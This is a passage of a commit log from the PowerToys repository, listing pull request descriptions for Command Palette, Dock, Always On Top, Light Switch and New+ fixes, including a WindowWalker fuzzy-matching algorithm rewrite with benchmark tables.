## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Result may vary because of uncertainty of LLM, while I can get this
result during my tests

<img width="696" height="147" alt="image"
src="https://github.com/user-attachments/assets/9d20670f-b9fb-4630-b6b4-f94c2a5d2284"
/>
2026-03-04 16:40:08 +08:00
Mike Griese
f6309ac549 cmdpal: add IDs to all PT commands (#45840)
Adds IDs to all the PT extension commands. This will let all the PT
commands be pinned, ala #45191
2026-03-04 02:25:56 -05:00
Jiří Polášek
c23ba227b4 CmdPal: Debounce SelectedItem updates in CommandBarViewModel (#45782)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR adds DispatcherQueueTimer-based debounce to SelectedItem updates
when receiving UpdateCommandBarMessage, preventing rapid consecutive
changes and prevents blinking when items change to fast (e.g. during
search). That's right - Command Palette is too fast!

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45776
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-03 12:22:41 -06:00
Jiří Polášek
ce2e72832c CmdPal: Resilient loading of extensions (#45720)
## Summary of the Pull Request

This PR improves the loading of extensions in the Command Palette and
allows extensions that missed the initial timeout to finish loading.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45711
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-03 11:56:44 -06:00
Jiří Polášek
c066cc3deb CmdPal: Fix window restore when the window is not WS_EX_TOOLWINDOW (#45877)
## Summary of the Pull Request

This PR checks the window’s actual extended style before saving the
current window size so the offset is calculated correctly. The API used
can return coordinates in different coordinate spaces depending on
whether the window has the `WS_EX_TOOLWINDOW` extended style.

This makes sense in case that settings `WS_EX_TOOLWINDOW` fails, or is
not applied (when debugger is attached).

>
https://learn.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-windowplacement
> If the window is a top-level window that does not have the
WS_EX_TOOLWINDOW window style, then the coordinates represented by the
following members are in workspace coordinates: ptMinPos
2026-03-03 10:28:17 -06:00
Jiří Polášek
9089ca2ede CmdPal: Expand Binding markup extensions to nested elements to avoid WMC1510 (#45830)
## Summary of the Pull Request

This PR expands all Binding XAML markup expressions to nested elements,
which in turn prevents compiler from generating `WMC1510 Ensure the
property path is trimming and AOT compatible` warnings.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Related to: #42574
2026-03-03 04:46:23 -06:00
Niels Laute
798564eea4 CmdPal Dock visual bugfixes (#45871)
This PR fixes the following bugs and iprovements:

- The scroll forward/backward glyphs were clipped
- The `Show labels` settings is redundant as those can be set
individually, and actually messes with that setting. Therefore, removed
from the Settings UI.
- Minor string changes
- The 'Filter commands' box is hidden when right clicking the Dock to
customize it.

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-03-03 10:54:28 +01:00
Zach Teutsch
738b78c406 [CI] Update Assets conflict script to improve error message clarity (#45551)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Very minor but updated Assets validation script on the CI to make error
messages clearer after discussion with @yeelam-gordon
2026-03-03 06:27:52 +00:00
Jiří Polášek
1cb99e32ef CmdPal: Add ability to refresh the list page while preserving selection (#45882)
## Summary of the Pull Request

This PR adds ability to invoke soft/incremental refresh that updates
items but keep selection in place (instead of resetting it to the first
item). For now, this is implemented as a hack using an unused parameter
of `ListPage.RaiseItemsChanged`: passing the constant `-2` tells the
view model that this is an incremental change and that it should keep
the current selection.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45694
- [x] Related to: #44407
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-03 00:39:49 -05:00
Kai Tao
95835a4cfa Always On Top: Dedup the alwaysontop command id in window system menu (#45845)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
We picked a command id for always on top, although it has little
possibility, but may collide with other window system menu item, so
before inject, try to see if it persists, if yes, then we don't inject.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
A window with the same id
<img width="1049" height="301" alt="image"
src="https://github.com/user-attachments/assets/ae0ba9b7-c46c-4cbf-8994-e0dc4e5c3527"
/>

You can see there is no always ontop overriding the test item

Normal window:
<img width="468" height="597" alt="image"
src="https://github.com/user-attachments/assets/2ba034a8-c41e-4233-9435-4323c8f1c7a4"
/>
2026-03-03 00:34:00 -05:00
Niels Laute
4146876d88 Adding Open Settings button in SCOOBE (#45775)
See title
2026-03-03 00:07:34 -05:00
Jiří Polášek
a6e49c941d CmdPal: Rename "Results" section on Home page to "Commands" (#45870)
## Summary of the Pull Request

This PR renames "Results" section to "Commands" on Home page in default
view, while keeping "Results" for the search results.

Default view (section title changed to "Commands"):

<img width="907" height="591" alt="image"
src="https://github.com/user-attachments/assets/2aa3810f-b1bc-45a1-97f7-e08e6e8b171a"
/>

Search ("Results" are still present):

<img width="906" height="581" alt="image"
src="https://github.com/user-attachments/assets/99620971-55b5-4f49-832e-3dc4eaadba57"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-02 18:29:16 -05:00
Jiří Polášek
734c738751 CmdPal: Move ListViewModel.TextToSuggest property update back to UI thread (#45878)
## Summary of the Pull Request

This PR marshals the setting of the property ListViewModel.TextToSuggest
in SetSelectedItem to the UI thread, so that the change notification is
raised on that thread as well.

Regressed in #45764 

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-02 17:47:02 -05:00
Jaylyn Barbee
22b4dda3aa [Light Switch] Add 10s timeout and pre-check for location detection (#45887)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
- Add 10-second timeout to GetGeopositionAsync to prevent infinite
spinner
- Pre-check location services availability when dialog opens; disable
Detect Location button with message if unavailable
- Show user-friendly error messages for timeout and unavailable
scenarios
- Add LocationErrorText UI element and localized string resources

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45860
- [x] Closes: #42852

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-03-02 15:26:31 -05:00
Dustin L. Howett
fd399045f7 loc: move build to windows-latest; 2019 is d e a d (#45889)
When Azure DevOps says "no image found," well... he's dead, Jim.
2026-03-02 11:09:14 -08:00
Christian Gaarden Gaardmark
7e3f9f0c3f New+: Fixed issue with files and folders containing only numbers (#45439)
## Summary of the Pull Request
Supersedes https://github.com/microsoft/PowerToys/pull/41465

1) Fix for where template file or folder only contained numbers
2) Fix for where hidden files are shown in the list of templates

## PR Checklist
- [x] Closes: #36216
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [n/a] **Tests:** Added/updated and all pass
- [n/a] **Localization:** All end-user-facing strings can be localized
- [n/a] **Dev docs:** Added/updated
- [n/a] **New binaries:** Added on the required places
- [n/a] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [n/a] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [n/a] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [n/a] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [n/a] **Documentation updated:** If checked, please file a pull
request on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments
1) Fix for where template file or folder only contained numbers
    // Filename cases to support
    // type      | filename                             | result
// [file] | 01. First entry.txt | First entry.txt
    // [folder]  | 02. Second entry                     | Second entry
    // [folder]  | 03 Third entry                       | Third entry
// [file] | 04 Fourth entry.txt | Fourth entry.txt
// [file] | 05.Fifth entry.txt | Fifth entry.txt
    // [folder]  | 001231                               | 001231
    // [file]    | 001231.txt                           | 001231.txt
// [file] | 13. 0123456789012345.txt | 0123456789012345.txt

2) Fix for where hidden files are shown in the list of templates
Instead of excluding based on filename (desktop.ini) exclude based on
hidden and system attribute being set

## Validation Steps Performed
### Before fix
Notice
	1) Folders with numbers only aren't displayed on the context menu
2) Files with extension with numbers only show extension on the context
menu
	3) Some hidden files are shown
<img width="1893" height="786" alt="image"
src="https://github.com/user-attachments/assets/3845a541-499f-47a7-ae99-a92886f74214"
/>



### After fixes
#### Scenario 1
New+ Setting: Hide leading digits…: Yes
New+ Setting: Hide file extension: Yes
New+ Setting: Replace variables: No
<img width="1816" height="1185" alt="image"
src="https://github.com/user-attachments/assets/5ed2c205-d5ce-4366-90d9-c08ef4d2881f"
/>


#### Scenario 2
New+ Setting: Hide leading digits…: No
New+ Setting: Hide file extension: No
New+ Setting: Replace variables: No
<img width="1819" height="1197" alt="image"
src="https://github.com/user-attachments/assets/710265d5-94e9-4fee-9a47-a7bbb78b45bd"
/>


#### Scenario 3
New+ Setting: Hide leading digits…: Yes
New+ Setting: Hide file extension: Yes
New+ Setting: Replace variables: Yes


<img width="1816" height="1197" alt="image"
src="https://github.com/user-attachments/assets/45a90cdd-ec21-4425-9de0-c323ec90f149"
/>
2026-03-02 22:16:01 +08:00
Dave Rayment
9e4bf1e3e0 [Run] Replace WindowWalker's brute-force fuzzy matching algorithm with optimal DP solution (#44551)
## Summary of the Pull Request
Window Walker's fuzzy string matching algorithm exhibits exponential
memory usage and execution time when given inputs containing repeated
characters or phrases. When a user has several windows open with long
titles (such as browser windows), it is straightforward to trigger a
pathological case which uses up gigabytes of memory and freezes the UI.
This is exacerbated by Run's lack of thread pruning, meaning work
triggered by older keystrokes consumes CPU and memory until completion.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #44546
- [x] Closes: #44184
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments
The existing algorithm in `FuzzyMatching.cs` is greedy, creating all
possible matching combinations of the search string within the candidate
via its `GetAllMatchIndexes()` method. After this, it selects the best
match and discards the others. This may be considered reasonable for
small search strings, but it causes a combinatorial explosion when there
are multiple possible matches where characters or substrings repeat,
even when the search string is small.

The current brute-force algorithm has time complexity of **O(n * m *
C(n,m))** where **C(n,m)** = **n!/(m!(n-m)!)** and space complexity of
**O(C(n,m) * m)** because it stores all possible match combinations
before choosing the best.

For example, matching `"eeee"` in `"eeeeeeee"` creates **C(8,4)** =
**70** match combinations, which stores 70 lists with 4 integers each,
plus overhead from the LINQ-based list copying and appending:

```csharp
var tempList = results
    .Where(x => x.Count == secondIndex && x[x.Count - 1] < firstIndex)
    .Select(x => x.ToList())   // Creates a full copy of each matching path
    .ToList();                 // Materializes all copies

results.AddRange(tempList);    // Adds lists to results
```

Each potential sub-match may be recalculated many times.

Window Walker queries across all window titles, so this problem will be
magnified if the search text happens to match multiple titles and/or if
a search string containing a single repeated character is used. For
browser windows, where titles may be long, this is especially
problematic, and similarly for Explorer windows with longer paths.

## Proposed solution
The solution presented here is to use a dynamic programming algorithm
which finds the optimal match directly without generating all
possibilities.

In terms of complexity, the new algorithm benefits from a single pass
through its DP table and only has to store two integer arrays which are
sized proportionally to the search and candidate text string lengths; so
**O(n * m)** for both time and space, i.e. polynomial instead of
exponential.

Scoring is equivalent between the old and new algorithms, based strictly
on the minimum match span within the candidate string.

## Implementation notes
The new algorithm tracks the best start index for matches ending at each
position, eliminating the need to store all possible paths. By storing
the "latest best match so far" as you scan through the search text, you
are guaranteed to minimise the span length. To recreate the best match,
a separate table of parent indexes is kept and iterated backwards once
the DP step is complete. Reversing this provides you with the same
result (or equivalent if there are multiple best matches) as the
original algorithm.

For this "minimum-span" fuzzy matching method, this should be optimal as
it only scans once and storage is proportional to the search and
candidate strings only.

## Benchmarks
A verification and benchmarking suite is here:
https://github.com/daverayment/WindowWalkerBench

Results from comparing the old and new algorithms are here:
https://docs.google.com/spreadsheets/d/1eXmmnN2eI3774QxXXyx1Dv4SKu78U96q28GYnpHT0_8/edit?usp=sharing

| Method | Mean | Error | StdDev | Ratio | RatioSD | Gen0 | Gen1 | Gen2
| Allocated | Alloc Ratio |
|----------------
|-----------------:|-----------------:|-----------------:|-----------:|----------:|-----------:|-----------:|----------:|-------------:|------------:|
| Old_Normal | 4,034.4 ns | 220.94 ns | 647.98 ns | 1.02 | 0.23 | 1.9760
| - | - | 8.09 KB | 1.00 |
| New_Normal | 804.5 ns | 24.29 ns | 70.47 ns | 0.20 | 0.04 | 0.4339 | -
| - | 1.77 KB | 0.22 |
| Old_Repetitive | 7,624.7 ns | 318.06 ns | 912.57 ns | 1.94 | 0.38 |
3.7079 | - | - | 15.16 KB | 1.87 |
| New_Repetitive | 2,714.6 ns | 109.03 ns | 318.03 ns | 0.69 | 0.13 |
1.6403 | - | - | 6.72 KB | 0.83 |
| Old_Explosion | 881,443,209.3 ns | 26,273,980.96 ns | 76,225,588.43 ns
| 223,872.87 | 39,357.31 | 50000.0000 | 27000.0000 | 5000.0000 |
351885.11 KB | 43,518.16 |
| New_Explosion | 3,225.4 ns | 111.98 ns | 315.84 ns | 0.82 | 0.15 |
1.7738 | - | - | 7.26 KB | 0.90 |
| Old_Explosion_8 | 460,153,862.6 ns | 18,744,417.95 ns | 54,974,137.06
ns | 116,871.93 | 22,719.87 | 25000.0000 | 14000.0000 | 3000.0000 |
173117.13 KB | 21,409.65 |
| New_Explosion_8 | 2,958.3 ns | 78.16 ns | 230.45 ns | 0.75 | 0.13 |
1.5793 | - | - | 6.46 KB | 0.80 |
| Old_Explosion_7 | 189,069,384.8 ns | 3,774,916.46 ns | 6,202,296.49 ns
| 48,020.68 | 7,501.98 | 11000.0000 | 6333.3333 | 2000.0000 | 71603.96
KB | 8,855.37 |
| New_Explosion_7 | 2,667.5 ns | 117.69 ns | 337.68 ns | 0.68 | 0.13 |
1.3924 | - | - | 5.7 KB | 0.70 |
| Old_Explosion_6 | 71,960,114.8 ns | 1,757,017.15 ns | 5,125,301.87 ns
| 18,276.75 | 3,083.86 | 4500.0000 | 2666.6667 | 1333.3333 | 25515.96 KB
| 3,155.60 |
| New_Explosion_6 | 2,232.5 ns | 72.65 ns | 202.52 ns | 0.57 | 0.10 |
1.1978 | - | - | 4.91 KB | 0.61 |
| Old_Explosion_5 | 9,121,126.4 ns | 180,744.42 ns | 228,583.84 ns |
2,316.62 | 358.55 | 1000.0000 | 968.7500 | 484.3750 | 7630.49 KB |
943.67 |
| New_Explosion_5 | 1,917.3 ns | 48.63 ns | 133.95 ns | 0.49 | 0.08 |
1.0109 | - | - | 4.13 KB | 0.51 |
| Old_Explosion_4 | 2,489,593.2 ns | 82,937.33 ns | 236,624.90 ns |
632.32 | 113.96 | 281.2500 | 148.4375 | 74.2188 | 1729.71 KB | 213.92 |
| New_Explosion_4 | 1,598.3 ns | 51.92 ns | 152.28 ns | 0.41 | 0.07 |
0.8163 | - | - | 3.34 KB | 0.41 |
| Old_Explosion_3 | 202,814.0 ns | 7,684.44 ns | 22,293.96 ns | 51.51 |
9.72 | 72.7539 | 0.2441 | - | 298.13 KB | 36.87 |
| New_Explosion_3 | 1,222.5 ns | 26.07 ns | 76.45 ns | 0.31 | 0.05 |
0.6275 | - | - | 2.57 KB | 0.32 |
| Old_Subsequence | 419,417.7 ns | 8,308.97 ns | 22,178.33 ns | 106.53 |
17.23 | 266.6016 | 0.9766 | - | 1090.05 KB | 134.81 |
| New_Subsequence | 2,501.9 ns | 80.91 ns | 233.43 ns | 0.64 | 0.11 |
1.3542 | - | - | 5.55 KB | 0.69 |

(Where "Old_Explosion" is "e" repeated 9 times. Times in nanoseconds or
one millionth of a millisecond.)

It is worth noting that the results show a **single string match**. So
matching "eeeeee" against a 99-character string took 25 MB of memory and
71 milliseconds to compute. For the new algorithm, this is reduced down
to <5KB and 0.002 milliseconds. Even for a three-character repetition,
the new algorithm is >150x faster with <1% of the allocations.

## Real world example
**Before (results still pending after more than a minute):**
<img width="837" height="336" alt="Image"
src="https://github.com/user-attachments/assets/c4c3ae04-6a47-40b9-a2a4-7a4da169f7d5"
/>

**After (instantaneous results):**
<img width="829" height="444" alt="image"
src="https://github.com/user-attachments/assets/055fc4a6-f34f-4bed-a12c-408b52274de2"
/>

## Validation Steps Performed
The verification tests in the benchmark project pass, with results
identical to the original across a number of test cases, including the
pathological cases identified earlier and edge cases such as
single-character searches.

All unit tests under `Wox.Test`, including all 38 `FuzzyMatcherTest`
entries still pass.
2026-03-02 13:45:14 +01:00
Jiří Polášek
cc3c3c0367 Dock: dock visual nits and bits (#45873)
## Summary of the Pull Request

- Improves vertical (left/right) dock layout:
  - Dock items are not clipped;
  - Items with label(s) are stretched to full width;
  - Items without label(s) are centered.
- Top button is in the absolute corner to make clicking to it easier.
- Dock items now have a min width and height 32px.
- Removes a duplicate "No background" label in the expander body on the
Dock settings page.

## Pictures? Pictures!
Vertical layout:
<img width="175" height="1439" alt="image"
src="https://github.com/user-attachments/assets/4f11d9e9-405f-4d9a-8dee-4c8912b88c7c"
/>

Horizontal layout:
<img width="5119" height="49" alt="image"
src="https://github.com/user-attachments/assets/8420ef26-575e-4427-8db8-f9793e3b3572"
/>



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-01 20:06:42 +01:00
Sean Killeen
637b58b136 Setup-dev-envronment.ps1: Capture prereleases from vswhere (#45813)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Takes one possible approach to allowing for preview installs to be
detected.

⚠️ This has a possible side effect, in that if folks have installations
side-by-side, this would seem to update the Preview version over the
non-Preview version. That may not be preferable behavior, in which case
we could instead update `$commonPaths` to include it, which would allow
it to be found in the absence of a non-preview release.

If others have a preference I'm happy to adapt, as long as it doesn't
leave Preview users with an error.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45811
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] ~~**Tests:** Added/updated and all pass~~ N/A in this case
- [x] ~~**Localization:** All end-user-facing strings can be localized~~
N/A
- [x] ~~**Dev docs:** Added/updated~~ N/A in this case I believe
- [x] ~~**New binaries:** Added on the required places~~ N/A
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

The execution of vsWhere was not returning any items in cases where
prereleases were installed.

This change includes prereleases in the consideration of `-latest`

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

 Tested vswhere output directly. Before: no installations. After: 2026
Preview was found

 Tested setup-dev-environment.ps1. Before: warning about missing VS
install. After: operates as expected.
2026-03-01 17:44:16 +00:00
PesBandi
6c691f59e8 [OOBE] Properly localize View on GitHub and release date in What's new (#45847)
## Summary of the Pull Request
* Move hardcoded string *View on GitHub* to `Resources.resw`
